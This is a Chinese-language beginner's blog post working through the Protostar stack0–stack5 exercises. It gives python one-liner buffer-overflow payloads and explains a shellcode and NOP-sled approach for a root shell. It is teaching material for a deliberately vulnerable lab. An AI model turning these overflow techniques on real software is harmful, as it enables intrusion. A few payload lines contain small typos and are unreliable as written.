经过百转千回弯弯绕绕我这个可爱的程序媛最终还是屈服在PWN的淫威下,接下来的内容是我PWN入门的一些知识,如果有什么知识性的错误,请大方指出来,给你奖励小发发❀

首先,在学PWN之前我学了C语言汇编语言,还了解一点pythonLinux系统的基本操作,并且也有一点点逆向工程 的基础,学PWN主要是看YouTube上面一个声音巨好听的美国不露面小哥哥的视频,这个小哥哥三年前也是一边自学PWN一边录视频,讲的很基础好懂又幽默有趣,最近看到小哥哥去了拉斯维加斯参加defconblackhat,而且那个小哥哥竟然还是个学生,无数次感觉输在了人生的起跑线上呢,我也才上大学,他在上大学就知道那么多知识,而我还只是个萌新呢,一起加油~~(暗戳戳的说一句,感觉那个小哥哥长得好高啊,对我来说高=帅)

废话不多说,贴上视频地址http://liveoverflow.com/

stack0~4

这几个原理基本是差不多的,通过栈溢出将某值改变或者覆盖返回地址

0~4的答案和需要注意的地方

stack0
主要讲的是覆盖掉modified的值让它不等于0即可,那我们首先找到buff的地址和modified的地址
0x080483fd <main+9>: movl $0x0,0x5c(%esp)为modified的地址

() 0x08048405 <main+17>: lea 0x1c(%esp),%eax 0x08048409 <main+21>: mov %eax,(%esp) ()是buff的地址
两个地址0x5c和0x1c相差0x40个字节再加上0X1个需要覆盖的字节

  • 代码如下:

    $ python -c ‘print “A”*0x40+”\x01\x00\x00\x00”‘ | ./stack
    you have changed the ‘modified’ variable

stack1
让modified的地址等于0x61626364,思路同上题,不过要注意的是x86系列的电脑都是采用小端序的方式储存数据。

  • 小端序和大端序:

    小端序:字数据的低字节存储在低地址中。
    大端序:字数据的高字节存储在低地址中。

  • 代码如下:

    ./stack1 $python -c ‘print “A”*0x40+”dcba”‘
    you have correctly got the variable to the right value

stack2
此处需要设置环境变量GREENIE

  • 代码如下:

    $ GREENIE=`python -c ‘print “A”*0x40+”\x0a\x0d\x0a\x0d”‘
    $ export GREENIE
    $ ./stack2
    you have correctly modified the variable

stack3
此处我们需要跳到win函数处,首先获得win函数的地址:

(gdb)print win得到$1 = {void (void)} 0x8048424 <win>
获得地址之后直接覆盖fp

  • 代码如下:

    $python -c ‘print “A”*0x40+”\x24\x84\x04\08”‘ | ./stack3
    calling function pointer, jumping to 0x08048424
    code flow successfully changed

stack4
覆盖返回地址让他跳到win函数就行了,注意这里要多覆盖0x1字节,偏移为0x4c

  • 代码如下:

    $ python -c ‘print “A”*0x4C+”\xf4\x83\x04\x08”‘ | ./stack4
    code flow successfully changed
    Segmentation fault

    stack5

首先介绍shellcode:Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的

再介绍int 3(CC):当被调试进程执行INT3指令导致一个异常时,调试器就会捕捉这个异常从而停在断点处,然后将断点处的指令恢复成原来的指令用INT3断点的好处是可以设置无数个断点,缺点是改变了原程序指令,容易被软件检测到。例如为了防范API被下断,一些软件会检测API的首地址是否为CCh,以此来判断是否被下了断点但是如果将断点下在函数的内部或者末尾,例如可以将断点下在函数入口的下一行,就可以躲过检测了

再来说说整个做题的想法,代码极其简单,但是我思考了很久为什么要这么做,暂时无果,按照视频所讲通过在缓存区放入shellcode通过管道传输给stack5,然后得到root权限

Shellcode放在返回地址后面,前面跟上NOP Slot;这可以消除缓冲区位置的不确定性。

注意:非GDB运行和GDB运行,缓冲区的地址会有变化
注意:这里使用的”()”会生成一个子shell;

子shell中执行两条命令。

第一条命令将payload输出到标准输出,通过管道传输给stack5;

第二个命令cat从标准输入中读取数据输出到标准输出,也会通过管道传输给stack5;

builtin_ return_ address(0)的含义是,得到当前函数返回地址,即此函数被别的函数调用,然后此函数执行完毕后,返回,所谓返回地址就是那时候的地址。_builtin_return_address(1)的含义是,得到当前函数的调用者的返回地址。注意是调用者的返回地址,而不是函数起始地址。利用builtin_return_address来获得函数运行栈的方法。